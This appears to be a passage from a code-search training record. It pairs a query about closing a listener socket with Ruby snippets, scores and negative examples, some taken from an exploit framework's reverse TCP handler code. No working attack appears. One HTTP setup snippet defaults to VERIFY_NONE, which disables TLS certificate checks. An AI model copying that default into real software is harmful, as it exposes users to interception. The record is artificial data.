Logger.new(STDOUT)\n @max_workers = opts[:max_workers] || 100\n @timeout = opts[:timeout] || 30\n @throttle = opts[:throttle].to_i / 100.0\n \n @inline_handler = Class.new(Leech::Handler)\n instance_eval(&block) if block_given? \n end", "def tcp(**opts, &callback)\n TCP.new(@reactor, progress: callback, **opts)\n end", "def initialize(options = {})\n #requirements.each {|key| requires!(options, key)}\n @options = options\n @last_request = nil\n @test_mode = @options[:test]\n\t\t\t@config = Omniship.setup\n end", "def post_init\n get_ip_address_and_port_or_close_connection\n end", "def post_init\n return unless @network.secure?\n\n verify_peer = (@network.options[:ssl_no_verify] ? false : true)\n start_tls verify_peer: verify_peer\n end", "def initialize_abstraction\n self.lsock, self.rsock = Rex::Socket.udp_socket_pair\n end", "def initialize(options = {})\n @http_port = options[:port].to_i\n @https_port = options[:https_port].to_i if options[:https_port]\n @jetty = Jetty.new\n @applications = {}\n @handler_collection = ContextHandlerCollection.new\n jetty.handler = @handler_collection\n end", "def initialize(options = {})\n options[:host] ||= Defaults::Request.host\n options[:port] ||= Defaults::Request.port\n options[:ssl] ||= Defaults::Request.ssl\n options[:headers] ||= Defaults::Request.headers\n @path = options[:path] || Defaults::Request.path\n\n http = Net::HTTP.new(options[:host], options[:port])\n http.use_ssl = options[:ssl]\n http.read_timeout = 8\n http.open_timeout = 4\n\n @http = http\n end", "def initialize(options = {})\n @token_ttl = options[:token_ttl] || 21_600\n @retries = options[:retries] || 3\n @backoff = backoff(options[:backoff])\n\n endpoint_mode = options[:endpoint_mode] || 'IPv4'\n @endpoint = resolve_endpoint(options[:endpoint], endpoint_mode)\n @port = options[:port] || 80\n\n @http_open_timeout = options[:http_open_timeout] || 1\n @http_read_timeout = options[:http_read_timeout] || 1\n @http_debug_output = options[:http_debug_output]\n\n @token = nil\n @mutex = Mutex.new\n end", "def initialize(info = {})\n super\n register_options( [\n Opt::RPORT(771)\n ], Msf::Exploit::Remote::RealPort )\n end", "def initialize(options = {})\n default_options = { :port => 6543,\n :status_port => 6544,\n :connection_type => :playback,\n :protocol_version => MythTV::DEFAULT_PROTOCOL_VERSION }\n \n options = default_options.merge(options)\n\n # Set up a local logging object\n @log = MythTV::Utils.setup_logging(options)\n \n # We cannot start unless we've been given a host to connect to\n raise ArgumentError, \"You must specify a :host key and value to initialize()\" unless options.has_key?(:host)\n\n @host = options[:host]\n @port = options[:port]\n @status_port = options[:status_port]\n @protocol_version = options[:protocol_version]\n\n @socket = TCPSocket.new(@host, @port)\n \n check_proto\n \n if options[:connection_type] == :playback\n announce_playback()\n elsif options[:connection_type] == :filetransfer\n announce_filetransfer(options[:filename])\n else\n raise ArgumentError, \"Unknown connection type '#{options[:connection_type]}'\"\n end\n end", "def rtcp_port\n super\n end", "def initialize(options = {})\n\n @conn = Faraday.new do |f|\n f.use Middleware, self\n f.response :logger\n f.request :multipart\n f.request :url_encoded\n f.adapter Faraday.default_adapter\n end\n @logger = defined?(Rails) ? Rails.logger : Logger.new(STDOUT)\n [:username, :password, :client_id, :client_secret, :auth_code, :access_token, :refresh_token, :ttl, :rest_url, :rest_token, :auth_host, :rest_host].each do |opt|\n self.send \"#{opt}=\", options[opt] if options[opt]\n end\n\n end", "def initialize\n @debug = false\n @verbose = false\n @quit = false\n @interval = 0.01\n @payload = nil\n @port = 8080\n @use_payload = false\n @receive = false\n\n get_options\n\n rescue => err\n STDERR.puts err\n STDERR.puts \"\\n\"\n STDERR.puts usage\n exit 1\n end", "def initialize options\n @count = options[:count] || Float::INFINITY\n @drb_config = DRb::DRbServer.make_config\n @incoming_packets = Queue.new\n @incomplete_streams = {}\n @incomplete_timestamps = {}\n @loader = DRbDump::Loader.new @drb_config\n @quiet = options[:quiet]\n @resolver = Resolv if options[:resolve_names]\n @run_as_directory = options[:run_as_directory]\n @run_as_user = options[:run_as_user]\n\n initialize_devices options[:devices]\n\n @capps = []\n @drb_streams = {}\n @running = false\n @statistics = DRbDump::Statistics.new\n end", "def set_up_connection # :doc:\n uri = URI.parse(@config.host)\n @http = Net::HTTP.new(uri.host, uri.port, p_user = @config.proxy_user, p_pass = @config.proxy_pass)\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n @http.use_ssl = @config.use_ssl\n if @config.ssl_verify_peer\n @http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n @http.ca_file = @config.ssl_ca_file\n else\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n @http.open_timeout = @config.timeout\n @http.read_timeout = @config.timeout\n end", "def initialize(options = {}, &data_source_block)\n @threads = []\n @wrapper_template = {}\n @current_upstream = {}\n @send_queue = Queue.new\n @sockets = Hamster::Set.new\n @broadcast_worker_delay = (options[:broadcast_worker_delay] ||\n options[:websocket_worker_delay] ||\n DEFAULT_DELAY)\n @read_worker_delay = (options[:read_worker_delay] ||\n options[:incoming_monitor_delay] ||\n DEFAULT_DELAY)\n @no_wrap = options[:no_wrap] || false\n @running = false\n @data_source_block = data_source_block\n start unless options[:start] == false\n end", "def initialize( opts={} )\n @opts = { 'ServerHost' => '0.0.0.0', 'ServerPort' => 1080 }\n @opts = @opts.merge( opts )\n @server = nil\n @clients = ::Array.new\n @running = false\n @server_thread = nil\n end", "def initialize(obj, opts = {})\n @obj = obj\n @port = opts[:port].to_i\n @hostname = opts[:hostname]\n\n # What format to use.\n @serialiser = opts[:serialiser] || Marshal\n\n # Silence errors coming from client connections?\n @verbose_errors = (opts[:verbose_errors] == true)\n @fast_auth = (opts[:fast_auth] == true)\n\n # Should we shut down?\n @close = false\n @close_in, @close_out = UNIXSocket.pair\n\n # Connect/receive timeouts\n timeout = opts[:timeout]\n\n # Auth\n if opts[:password] && opts[:secret]\n require 'securerandom'\n require 'simplerpc/encryption'\n @password = opts[:password]\n @secret = opts[:secret]\n @salt_size = opts[:salt_size] || 10 # size of salt on key.\n end\n\n # Threaded or not?\n @threaded = !(opts[:threaded] == false)\n if @threaded\n @clients = {}\n @mc = Mutex.new # Client list mutex\n end\n\n # Listener mutex\n @ml = Mutex.new\n end", "def initialize( host, options={} )\n @saved_message = nil\n @session_id = nil\n @host = host\n\n yield self\n\n invalid_options = options.keys - VALID_OPTIONS\n\n unless invalid_options.empty?\n raise ArgumentError,\n \"invalid option(s) to #{self.class}: #{invalid_options.inspect}\"\n end\n\n @logger.debug \"connecting\" if @logger.debug?\n\n @port = options[ :port ] || @default_port\n @socket = timeout( options[:timeout] || 0 ) do\n ( options[:proxy] || @socket_factory ).open( host, @port )\n end\n\n @packet_sender.socket = @socket\n @packet_receiver.socket = @socket\n\n @kex_info = {\n :client_version_string => self.class.version,\n :server_version_string =>\n @version_negotiator.negotiate( @socket, self.class.version ) }\n\n @options = options\n kexinit\n end", "def get_options\n ARGV.options { |opt|\n opt.banner = \"Usage: ruby #{__FILE__} [options] ipv6addr port\"\n\n opt.on(\"--help\", \"What you see right now\"){ puts opt; exit 0}\n\n opt.on(\"--doc=DIRECTORY\", String, \"Output rdoc (Ruby HTML documentation) into directory\"){|dir|\n system(\"rdoc -o #{dir} #{__FILE__}\")\n }\n\n opt.on(\"--verbose\", \"-v\", \"print space separated timestamps to STDOUT\"){|@verbose|}\n\n opt.on(\"--interval=FLOAT\", \"-i\", Float, \"approximate interval to send packets at will sleep for this many seconds before sending. Not very accurate when doing less than 0.01. Will divide interval by 1000 when < 0.01 (inteval of 0.001 effective to reduce send interval to less than 0.01 but suddenly jumps up to 0.00005 and 100% cpu time) Probably need proper scheduling besides sleep to get better accuracy\"){|@interval|\n puts \"using interval of #{@interval}\" if not @verbose\n }\n\n opt.on(\"--data=STRING\", \"-d\", String, \"payload to send (by default sends timestamp\",\n \"like this #{Time.now().to_f})\"){|@payload|\n @use_payload = true\n puts \"using payload of #{@payload}\" if not @verbose\n }\n\n opt.on(\"-r\", \"Receive mode \"){|@receive|}\n\n opt.on_tail(\"default port is #{@port}\")\n opt.parse!\n } or exit(1);\n\n if @quit\n pp self\n (print ARGV.options; exit)\n end\n\n raise \"Missing host from the commandline.\" if ARGV.size < 1\n\n @host = ARGV.shift\n\n @port = ARGV.shift if not ARGV.empty?\n\n end", "def initialize(conf)\n super(conf) ;\n @host = getConf(:host) ;\n @port = getConf(:port) ;\n setupLog() ;\n setupSocket() if getConf(:openSocket) ;\n end" ]
[ "0.7051749", "0.68686384", "0.66140634", "0.6449245", "0.613122", "0.6022586", "0.5908058", "0.5879022", "0.5864022", "0.5864022", "0.5852761", "0.58474207", "0.5835213", "0.5826105", "0.57121617", "0.5705926", "0.5696336", "0.5680529", "0.5626633", "0.5602641", "0.55915433", "0.55741864", "0.55681616", "0.5557294", "0.55140823", "0.55140567", "0.55076677", "0.5496038", "0.549563", "0.54742575", "0.54476494", "0.5442481", "0.5439419", "0.5437887", "0.5435287", "0.54260993", "0.5419428", "0.54125637", "0.54007125", "0.5396933", "0.5396795", "0.5385148", "0.53807366", "0.5374089", "0.5370361", "0.53617066", "0.5354452", "0.5338028", "0.5337515", "0.5336553", "0.53351665", "0.53335035", "0.5328336", "0.53256285", "0.5321653", "0.5319966", "0.5313195", "0.5311563", "0.5307704", "0.52846754", "0.5275922", "0.52635336", "0.52611905", "0.52611905", "0.5255863", "0.5253392", "0.52423817", "0.5238997", "0.52349687", "0.5234308", "0.52311194", "0.522352", "0.52200097", "0.52074605", "0.52064997", "0.5204009", "0.5203772", "0.5203772", "0.51909894", "0.519058", "0.5188838", "0.5181768", "0.51810634", "0.51807445", "0.51770204", "0.5174035", "0.51603264", "0.51510656", "0.5146196", "0.5134404", "0.5127724", "0.5122614", "0.51206285", "0.51060814", "0.5095634", "0.50925815", "0.50925094", "0.5088701", "0.50814486", "0.50738263" ]
0.6791222
2
Closes the listener socket if one was created.
def cleanup_handler stop_handler # Kill any remaining handle_connection threads that might # be hanging around conn_threads.each do |thr| begin thr.kill rescue nil end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def close\n @socket.close unless closed?\n end", "def close\n @socket.close if @socket\n end", "def close\n @socket.close if @socket\n @socket = nil\n end", "def close\n if @socket\n @socket.close\n @socket = nil\n end\n end", "def close\n if @socket\n @socket.close\n @socket = nil\n end\n end", "def close \n begin\n @socket.close\n rescue IOError\n end\n Client.del_socket conn_id()\n true\n end", "def close\n @socket.close if @socket\n end", "def close\n @sock.close if @sock and not @sock.closed?\n end", "def close\n @socket.close\n end", "def close\n @socket.close\n end", "def close\n assert_rc @sock.close\n end", "def close\n @socket.close if @socket\n @socket = nil\n self\n end", "def close\n @socket&.close\n end", "def close\n @socket.close\n end", "def close\n super unless @socket.nil?\n end", "def close_socket\n @stop = true\n end", "def close_socket()\n begin\n # Need to set @closed = true before closing the socket\n # within the @read_semaphore thread\n @closed = true\n @read_semaphore.synchronize do\n @socket.close\n end\n rescue\n #Ignoring if already closed\n end\n @closed\n end", "def terminate\n @intentional_termination = true\n @socket.close\n end", "def close\n @socket.close\n @socket=\"\"\n end", "def close\n @socket.close unless @socket.closed?\n self\n end", "def close\n\t\t@sock.close if @sock and not @sock.closed?\n\t end", "def close\n if @socket\n @socket.close\n\n # Spotify doesn't send the disconnect frame quickly, so the callback\n # gets run immediately\n EventMachine.add_timer(0.1) { on_close(nil) }\n end\n true\n end", "def close\n @log.info { \"Closing connection to client #{@ip}\" }\n @socket.close\n end", "def close\n @socket.close if @socket\n true\n end", "def close\n\t\tself.socket.close\n\tend", "def stop\n @socket.close\n ensure\n cleanup\n end", "def _close_socket\n raise \"no wrapped socket\" unless @socket\n return if @socket.closed?\n @socket.shutdown rescue nil\n @socket.read_nonblock(4*1024*1024) rescue nil # flush any in-flight crud\n @socket.close rescue nil\n end", "def close!\n ssl_socket.close\n end", "def close\n flush_buffer!\n @sock.close\n end", "def close\n info { \"closing connection\" }\n socket.shutdown\n end", "def close\n parser_thread.kill if parser_thread # why if?\n poll_thread.kill\n socket.close if socket\n\n @status = DISCONNECTED\n end", "def _close_socket(socket)\r\n\t\tbegin\r\n\t\t\tif socket\r\n socket.close\r\n end\r\n rescue SocketError => message\r\n $LOG.error(\"Error while closing socket: #{message}\")\r\n end\r\n end", "def close\n super unless closed?\n rescue IOError => exception\n logger.warn \"IOError when attempting to close socket: #{exception.class}: #{exception.message}\"\n end", "def close\n @tcp_socket.close if @tcp_socket && !@tcp_socket.closed?\n end", "def disconnect\n if @socket\n @socket.close\n @socket = nil\n @authed = false\n end\n end", "def disconnect\n if @socket\n @socket.close\n @socket = nil\n @authed = false\n end\n end", "def close\n @sock.close if @sock && !@sock.closed?\n @sock = nil\n @retry = nil\n @status = \"NOT CONNECTED\"\n end", "def close\n send(\"DONE\")\n @socket.close\n end", "def close\n unless closed?\n API::invoke :zmq_close, ptr\n @context, @ptr = nil, nil\n info \"Socket closed.\"\n end\n end", "def close\n @sockets.each do |sock|\n sock.close\n end\n @host = @port = nil\n @sockets.clear\n @checked_out.clear\n end", "def close\n write_message(Vertica::Protocol::Terminate.new)\n ensure\n close_socket\n end", "def finish\n begin\n @socket.close\n rescue\n end\n on_disconnected\n end", "def close\n begin\n super\n ensure\n if (!@plaintext_socket.closed?)\n @plaintext_socket.close\n end\n end\n end", "def handle_close\n @sock.close\n rescue Exception\n log.error \"Connector#handle_close\"\n log.error $!\n end", "def disconnect\n if @socket\n @socket.close\n @socket = nil\n end\n end", "def quit!\n command \"quit\" if alive?\n ensure\n @alive = false\n @socket = nil\n File.delete(@socket_path) if File.exist?(@socket_path)\n end", "def destroy_connection\n begin\n @ssock.close if @ssock\n @rsock.close if @rsock\n ensure\n @connected=false\n end\n end", "def close!\n logger.debug \"Closing...\",\n socket: socket,\n server: server,\n path_exists: path.exist?,\n thread: thread,\n env_var: {\n env_var_name => ENV[env_var_name],\n }\n \n # Remove the path from the ENV so if we do anything after this the\n # old one isn't hanging around\n ENV.delete env_var_name\n \n # Kill the thread first so that it can't try to do anything else\n thread.kill if thread && thread.alive?\n \n socket.close unless socket.nil?\n @socket = nil\n server.close unless server.nil?\n @server = nil\n FileUtils.rm( path ) if path.exist?\n \n logger.debug \"Closed.\",\n socket: socket,\n server: server,\n path_exists: path.exist?,\n thread: thread,\n env_var: {\n env_var_name => ENV[env_var_name],\n }\n \n nil\n end", "def close\n @mutex.synchronize do\n @closed = true\n @listeners.each(&:close) # make .pop return nil\n end\n end", "def close_connection\n cls if connected?\n stop_read_loop\n stop_write_loop\n @socket.close if @socket\n @socket = nil\n @connected = false\n end", "def destroy_connection\r\n\tbegin\r\n\t\t@sock.close if @sock\r\n\tensure\r\n\t\t@connected=false\r\n\tend\r\n end", "def free_socket(socket, force = false)\n # Socket has not been open\n return false if socket.nil?\n\n # Do we try to close persistent socket?\n if socket == @socket\n # do not close it if not forced\n if force\n @socket.close unless @socket.closed?\n @socket = nil\n true\n else\n false\n end\n else\n # Just close this socket\n socket.close unless socket.closed?\n true\n end\n end", "def remove_socket s\n s.close unless s.closed?\n if stash.include? s\n warn \"removing socket from context ':#{@context}' (#{peeraddrs[s][2]})\"\n stash.delete s\n\n peeraddrs.delete s\n end\n end", "def disconnect\n @socket.close\n end", "def disconnect\n @socket.close if @socket && !@socket.closed?\n @socket = nil\n self\n end", "def on_close(event)\n logger.debug 'Socket closed'\n @connected = false\n @socket = nil\n dispatch('command' => 'session_ended')\n end", "def on_close(event)\n logger.debug 'Socket closed'\n @connected = false\n @socket = nil\n dispatch('command' => 'session_ended')\n end", "def end_listen\n @stream.end_listen\n end", "def stop\n @mutex.synchronize do\n if( not @closed )\n\n begin\n @lsock.close if @lsock\n rescue\n end\n\n begin\n @rsock.close if @rsock\n rescue\n end\n\n @client_thread.kill if( @client_thread and @client_thread.alive? )\n\n @server.remove_client( self )\n\n @closed = true\n end\n end\n end", "def shutdown!\n error { \"forcing connection closed\" }\n socket.close\n end", "def graceful_shutdown\n socket_server.close unless socket_server.closed?\n @active_descriptors.delete(socket_server)\n @shutdown = true\n end", "def shutdown\n @data_socket.close\n @ack_socket.close\n @client.disconnect! rescue nil\n end", "def close\n @server.close if @server\n @accept_thread.kill if @accept_thread\n @accept_thread = nil\n end", "def close_remote_srv_conn\n if @socket_srv\n @socket_srv.close\n @log.debug \"close_remote_srv_conn requested\"\n @cup_gui.log_sometext \"Bye, connessione col server terminata\\n\"\n @rd_sock_thread.join\n @socket_srv = nil\n end\n rescue => detail\n @log.error \"Server connection error (#{$!})\\n\"\n @log.error detail.backtrace.join(\"\\n\")\n ensure\n @socket_srv = nil \n end", "def shutdown_handler\n self.close unless self.closed?\n @sockets = []\n end", "def close\n return nil if @dead\n \n @int_sock_rep.close\n @int_sock_req.close\n @int_sock_pull.close\n @int_sock_push.close\n \n @dead = true\n end", "def stop_server\n unless @servsocket.closed?\n detach\n @servsocket.close\n end\n end", "def close\n @proxy_socket.close\n @proxy_socket = nil\n end", "def closed?\n @sock.closed?\n end", "def closed?\n @socket.nil? or @socket.closed?\n end", "def close\n @stat=Event::LINK_CLOSING\n \n #\n # stop thread for reading\n #\n unless(@recvthread.nil?)\n if(@recvthread.alive?)\n @recvthread.exit\n end\n end\n \n #\n # stop threads for writing\n #\n @sendthreads.each_value{|t|\n unless(t.nil?)\n if(t.alive?)\n t.exit\n end\n end\n }\n \n #\n # close socket\n #\n unless(@socket.closed?)\n @socket.close\n end\n \n @stat=Event::LINK_CLOSED\n notify(@stat)\n end", "def closed?\n @socket.nil?\n end", "def closed?\n !@socket || @socket.closed?\n end", "def abort_sockets\n sockets.delete_if { |sock|\n\n begin\n sock.close\n rescue ::Exception\n end\n true\n }\n end", "def destroy\n @sock.cmd(\"String\"=>\"quit\")\n @sock.close\n end", "def remove_socket(sock)\n self.sockets.delete(sock)\n end", "def cancel_local_socket(local_socket_path)\n socket = @local_forwarded_sockets.delete(local_socket_path)\n socket.shutdown rescue nil\n socket.close rescue nil\n session.stop_listening_to(socket)\n end", "def close\n @closing = true\n cancel_ping_timer\n cancel_reconnect_timer\n close_connection_after_writing if connected?\n process_disconnect if reconnecting?\n end", "def unbind\n log(:info, :socket, 'disconnected')\n end", "def on_writable socket\n @reactor.deregister_writable socket\n end", "def close\n log \"Closing connection\", level: :warning\n close_stream\n close_socket\n stop_reader\n set_state :disconnected\n notify_error DisconnectError.new(\"Connection was closed\")\n\n # stop timer\n # as we're running inside the timer, code after stop_timer() will not be called,\n # unless it's in the ensure block\n stop_timer\n end", "def closed?\n socket.closed?\n end", "def closed?\n @socket.closed?\n end", "def closed?\n socket.closed?\n end", "def shutdown\n @socket = nil\n @thr.join if @thr\n @thr = nil\n end", "def close_connection\n @socket.close if @socket and not @socket.closed?\n @connection.close if @connection and not @connection.closed?\n\n @socket = @connection = nil\n\n return true\n end", "def cancel_local_socket(local_socket_path); end", "def on_closed( fd, endpoint )\n\t\t\tself.log.debug \"Client socket on FD %d closed\" % [ fd ]\n\t\tend", "def disconnect\n @tcp_socket.close\n end", "def stop_handler\n # Terminate the listener thread\n listener_thread.kill if listener_thread && listener_thread.alive? == true\n\n # Terminate the handler thread\n handler_thread.kill if handler_thread && handler_thread.alive? == true\n\n begin\n listener_sock.close if listener_sock\n rescue IOError\n # Ignore if it's listening on a dead session\n dlog(\"IOError closing listener sock; listening on dead session?\", LEV_1)\n end\n end", "def close\n CodeStore.undefine([\"SEND\", @atom])\n @socket.close\n end", "def close\n if @servers.size > 1\n @error = 'too many servers. persistent socket allowed only for a single server.'\n return false\n end\n\n unless @servers.first.persistent?\n @error = 'not connected'\n return false;\n end\n\n @servers.first.close_persistent!\n end", "def disconnect\n @thread.kill\n @socket.close\n end", "def close\n _do_if_open { _handle_closed! ; ::Dnet.route_close(@fw) }\n end", "def close_connection\n if defined?(@socket) and @socket.is_a?(OpenSSL::SSL::SSLSocket)\n @socket.close\n @socket = nil\n end\n \n if defined?(@connection) and @connection.is_a?(TCPSocket)\n @connection.close\n @connection = nil\n end\n \n return true if @connection.nil? and @socket.nil?\n end", "def stop\n self.listener.stop\n self.listener.close\n end", "def client_quit(socket)\n @connections.delete(socket)\n socket.close\n end", "def close(status)\n return unless active?\n\n @status = status\n @socket.close\n end", "def reopen\n close\n @socket = UDPSocket.new\n host, port = server.split(':')\n @socket.connect(host, port)\n end", "def close\n _do_if_open { _handle_closed! ; Dnet.fw_close(@handle) }\n end", "def forceclose\n @sentConnect = false # set in connect()\n @signedOn=false # set in signOn() inside connect()\n @socket.close()\n @socket = nil\n @duz = \"0\"\n @currentContext = nil\n @lastvistaerror=nil\n return true\n end" ]
[ "0.7537935", "0.75271004", "0.74639684", "0.74506307", "0.74506307", "0.7415628", "0.7396619", "0.7334758", "0.72950494", "0.72950494", "0.72692597", "0.7240079", "0.7171701", "0.7104085", "0.7103169", "0.7079316", "0.7044943", "0.7044702", "0.7017634", "0.70102155", "0.6985155", "0.6937941", "0.6922496", "0.68924636", "0.6875666", "0.6863159", "0.6758999", "0.6733099", "0.67264503", "0.6689564", "0.6659707", "0.66409886", "0.6620839", "0.6613501", "0.65756756", "0.65756756", "0.6572941", "0.6567602", "0.65443915", "0.65261245", "0.6498569", "0.64935255", "0.6459727", "0.6439544", "0.6407031", "0.6381187", "0.6338766", "0.6312434", "0.6304597", "0.62852365", "0.628375", "0.62743825", "0.6268354", "0.6265195", "0.62543815", "0.6226648", "0.6226648", "0.622141", "0.61973035", "0.6183774", "0.6180769", "0.61778843", "0.6135039", "0.6118956", "0.60969335", "0.6086942", "0.608193", "0.6047745", "0.6031662", "0.60297096", "0.6025017", "0.59976274", "0.5977542", "0.5965974", "0.59659445", "0.5965322", "0.59629846", "0.596097", "0.59499574", "0.5941625", "0.59322363", "0.59064674", "0.5882613", "0.5878134", "0.5849498", "0.58452076", "0.58363694", "0.5820662", "0.58125657", "0.58070576", "0.5786185", "0.57558715", "0.5751051", "0.57440084", "0.5743138", "0.5742008", "0.5741244", "0.5719013", "0.5688286", "0.56854564", "0.5682488" ]
0.0
-1
A string suitable for displaying to the user
def human_name "reverse TCP" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def display_string(options, object, length = nil)\n \":#{object}\"\n end", "def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end", "def to_s\n render().join \"\\n\"\n end", "def to_s\n Alf::Renderer.text(self).execute(\"\")\n end", "def to_s\n \"#{@prompt}#{@text}\"\n end", "def pan_string()\n pan_body().join(',') + \".\"\n end", "def to_s\n TEXT_SYMBOLS[self.entry_type] + \n \"] \" +\n body\n end", "def to_s\n \"[ #{@name} ]\"\n end", "def string() end", "def to_s\n return \"Name: #{@first_name} #{@last_name}\\nAge: #{@age}\\nHair Color: #{@hair_color}\\nEye Color: #{@eye_color}\"\n end", "def to_s\n %Q{\n ---------------------------------------------------------\n Your strength is #{@strength}.\n You have $#{@wealth}.\n Your provision sack holds #{@food} units of food.\n ---------------------------------------------------------\n }\n end", "def to_s\n \"The #{@name} Treasure is #{@description}\\n\"\n end", "def to_s\n long_display\n end", "def to_s\n long_display\n end", "def to_s\n long_display\n end", "def to_s\n long_display\n end", "def display_string(options, object, length = nil)\n result = (object.respond_to?:to_s) ? object.to_s : object.inspect\n return result[0..length-4] + '...' if length and result.length > length\n return result\n end", "def to_string\n render().join \"\\n\"\n end", "def to_s\n return \"[#{@text}:#{@type}]\"\n end", "def to_s\n \"[#{@type}]#{@content}\"\n end", "def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end", "def to_s\n full\n end", "def to_s\n \"#%-3s %s\" % [ number, name]\n end", "def to_s()\n\t\treturn \"Chapter : #{@title}, levels : #{@levels}, stars required : #{@starsRequired}\"\n\tend", "def stringOutput\n\t\tend", "def stringOutput\n\t\tend", "def to_s\n \"The #{@name} Treasure is #{@description}\"\n end", "def to_s\n \"The #{@name} Treasure is #{@description}\"\n end", "def to_s\n \"#{@text}: #{@context}\"\n end", "def to_s\n\t\t\"#{title}\"\n\tend", "def to_s\n\t\t\"#{title}\"\n\tend", "def to_s\n \"\"\n end", "def to_s\n @string\n end", "def to_s\n @string\n end", "def to_s\n @string\n end", "def to_s\n @string\n end", "def dumpAsString\n\t\tmarkup = \"\"\n\t\t@Value.each do |line|\n\t\t\tmarkup += \"#{line}<br />\\n\"\n\t\tend\n\t\treturn markup\n\tend", "def to_s\n\t\t\t@string\n\t\tend", "def to_s\n \"\"\n end", "def to_s\n \"\"\n end", "def to_s\n \"#{user} Reading #{book}\\nMood: #{mood}\\nLocation: #{location}\\nThoughts:#{thoughts}\"\n end", "def to_s\r\n \"Hello I'm #{@name} with a health of #{@health} and have a score of #{score}.\"\r\n end", "def to_s\n return \"<P:#{self.given_name}_#{@code.to_s(36)}_#{@position}>\"\n end", "def to_s ; format ; end", "def to_s\n case @type\n when :name\n \"\\e[36m#{@value}\\e[0m\"\n when :EQ, :EQ_ALT\n @value\n when :prose\n \"\\e[90m<#{@value}>\\e[0m\"\n when :sstring\n \"%s\\e[32m\\\"#{@value}\\\"\\e[0m\"\n when :istring\n \"\\e[32m\\\"#{@value}\\\"\\e[0m\"\n when :terminal\n '%x' + @value.map{|x| \"\\e[33m%02X\\e[0m\" % x }.join('.')\n when :range\n '%x' + @value.map{|x| \"\\e[33m%02X\\e[0m\" % x }.join('-')\n else\n \"\\e[90m<#{@type}>\\e[0m#{@value}\"\n end\n end", "def to_s\n text\n end", "def to_s\n text\n end", "def to_s\n \"[X] #{@text}\" if @correct\n \"[ ] #{@text}\" unless @correct\n end", "def to_s\n \"[X] #{@text}\" if @correct\n \"[ ] #{@text}\" unless @correct\n end", "def to_s\n text\n end", "def to_s\n\n \"My Name is #{@name}. I am of age #{@age} . I am a #{@gender} animal of species #{@species} and I love #{@toys}\"\n\nend", "def to_s\n \"#{text}\"\n end", "def to_s\n \"#{text}\"\n end", "def to_s\n str = \"#{value.to_s}#{units}\"\n str += \" | #{self.text}\" if status != \"normal\"\n str\n end", "def display_str\n \"#{objective.code} - #{short_desc}\"\n end", "def to_s\n \"#{@code}: #{@name}\"\n end", "def to_s\n \"#{@code}: #{@name}\"\n end", "def record_display\n string = \"#{id}. Title: #{title}\\n Author: #{author}\\n ISBN: #{isbn}\\n\"\n if library.nil?\n string += \" Library: None\\n\"\n else\n string += \" Library: #{library.branch_name}\\n\"\n end\n if patron.nil?\n string += \" Checked Out: Available\"\n else\n string += \" Checked Out: #{patron.name}\"\n end\n string\n end", "def to_s\n \t\t\"#{name}\"\n end", "def to_s\n @string\n end", "def to_s\n @string\n end", "def to_s\n @string\n end", "def to_s\n @string\n end", "def to_s\n if revealed?\n value.to_s\n else\n \" \"\n end\n end", "def display_string(value)\n return nil unless value\n\n last_resort_string = lambda do\n warn \"AppMap encountered an error inspecting a #{value.class.name}: #{$!.message}\"\n '*Error inspecting variable*'\n end\n\n value_string = \\\n begin\n value.to_s\n rescue NoMethodError\n begin\n value.inspect\n rescue StandardError\n last_resort_string.call\n end\n rescue StandardError\n last_resort_string.call\n end\n\n value_string[0...LIMIT].encode('utf-8', invalid: :replace, undef: :replace, replace: '_')\n end", "def to_s\n \"#@shijianduan (#@tianqi #@wendu #@fengji)\"\n end", "def to_s\n str = \"#{@name}: #{@locators}\"\n if str == \"\"\n yes = true\n end\n str\n end", "def to_s\n rval = \"\"\n rval += \" pesa #{@peso} kilos , mide #{@altura} metros, tiene #{@edad} años y es\"\n if(sexo == 1)\n rval+= \" un hombre\"\n else\n rval+= \" una mujer\"\n end\n rval\n end", "def string\n @string\n end", "def string\n @string\n end", "def to_s\n \t\"Hi, my name is #{@name} the #{@color} cat\"\n end", "def to_s\r\n pretty_output\r\n end", "def to_s\n raw\n end", "def to_s\n \" I'm #{@name} \"\n end", "def display\n\t\tr_str = \"Message: \"\n\t\t(@length / 5).times { |i| r_str += \"#{@string[(i * 5)...(i * 5) + 5]} \" }\n\t\tputs r_str\n\tend", "def to_s\n text\n end", "def to_str\n \"#{@name} - #{@type}: @(#{@xPos},#{@yPos}), HP: #{@hp}, CP: #{@cp}, #{@life_cyc}\"\n end", "def to_s\n toString()\n end", "def to_s\n \"[#{@name}]\"\n end", "def to_s()\n @name.to_s + \"\\n\" + @address.to_s + \"\\n\" + @phone.to_s + \"\\n\" + @email.to_s\n end", "def to_s\n text.to_s\n end", "def to_s\n \"#{get_titulo} #{get_porcentaje}\\n#{get_conjunto_platos}\\nV.C.T. | % #{get_vct} | #{get_proteinas} - #{get_grasas} - #{get_hidratos}\" \n end", "def to_s()\n prettify()\n end", "def to_s\n toString\n end", "def to_s\n\t\tsuper().to_s +\n\t\t\" -- Talla: #{@talla} -- Circunferencia Cintura: #{@circun_cintu} -- Circunferencia Cadera: #{@circun_cadera}\"\n\tend", "def to_s\n\t\treturn \"#{name} is #{age} YO!\"\n\tend", "def to_s\n text\n end", "def to_s\n rv = ''\n write rv\n rv\n end", "def report\n <<-STRINGSTRINGSTRING\nName: #{@name}\nAge: #{@age}\nAlive: #{@alive}\nSTRINGSTRINGSTRING\n end", "def to_s\n str\n end", "def to_s\n puts \"Their name is #{@fullname} and their date of birth is #{@dob}.\\n Their email addresses \n are: #{@emails}.\\n Their phone numbers are #{@phone_numbers}.\"\n end", "def to_s()\r\n\t\ts = \"\"\r\n\t\tif @cuerpo != nil\r\n\t\t\ts << @cuerpo.to_s(0) + \"\\n\"\r\n\r\n\t\telse\r\n\t\t\ts = \"Block\"\r\n\t\tend\r\n\t\treturn 